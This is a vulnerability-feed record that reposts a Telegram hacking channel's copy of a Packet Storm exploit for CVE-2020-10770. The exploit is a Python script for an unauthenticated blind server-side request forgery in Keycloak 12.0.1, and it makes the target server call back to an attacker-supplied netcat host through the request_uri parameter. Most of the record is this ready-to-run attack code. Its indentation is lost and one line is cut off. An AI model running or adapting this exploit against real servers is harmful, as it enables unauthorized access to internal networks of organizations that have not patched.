{"uuid": "6a11f3e8-e336-491a-bc20-5e7fa775913b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10770", "type": "seen", "source": "https://t.me/hacking_Attack/27503", "content": "Exploit Collector\nKeycloak 12.0.1 Server-Side Request Forgery\n\nhttps://3.bp.blogspot.com/-Qhp4qePCt4w/WWlvgnoLBHI/AAAAAAAAIQQ/Pg-5D4V1nfk8Sq6EZO_I88mZqTiN0MsZgCLcBGAs/s1600/h89.png \nKeycloak version 12.0.1 suffers from a blind server-side request forgery vulnerability.\n\nMD5 | 46b6bc8313add709c2ac9feb8b16a65d\n\nDownload\n# Exploit Title: Keycloak 12.0.1 - 'request_uri ' Blind Server-Side Request Forgery (SSRF) (Unauthenticated)\n# Date: 2021-10-13\n# Exploit Author: Mayank Deshmukh\n# Author Twitter: ColdFusionX_\n# Vendor Homepage: https://www.keycloak.org/\n# Software Link: https://www.keycloak.org/archive/downloads-12.0.1.html\n# Version: versions < 12.0.2\n# Tested on: Kali Linux\n# CVE : CVE-2020-10770\n\n#!/usr/bin/env python3\n\nimport argparse, textwrap\nimport requests\nimport sys\n\nparser = argparse.ArgumentParser(description=\"-=[Keycloak Blind SSRF test by ColdFusionX]=-\", formatter_class=argparse.RawTextHelpFormatter, \nepilog=textwrap.dedent(''' \nExploit Usage : \n./exploit.py -u http://127.0.0.1:8080\n[^] Input Netcat host:port -> 192.168.0.1:4444\n''')) \n\nparser.add_argument(\"-u\",\"--url\", help=\"Keycloak Target URL (Example: http://127.0.0.1:8080)\") \nargs = parser.parse_args()\n\nif len(sys.argv) <=\nprint (f\"Exploit Usage: ./exploit.py -h [help] -u [url]\") \nsys.exit() \n\n# Variables\nHost = args.url\n\nr = requests.session()\n\ndef ssrf():\nheaderscontent = {\n'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',\n}\nhook = input(\"[^] Input Netcat host:port -> \")\n\n_req = r.get(f'{Host}/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://{hook}', headers = headerscontent)\nreturn True\n\nif __name__ == \"__main__\":\n\nprint ('\\n[+] Keycloak Bind SSRF test by ColdFusionX \\n ')\ntry: \nif ssrf() == True:\nprint ('\\n[+] BINGO! Check Netcat listener for HTTP callback :) \\n ')\n\nexcept Exception as ex:\nprint('\\n[-] Invalid URL or Target not Vulnerable')\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:13.681530Z"}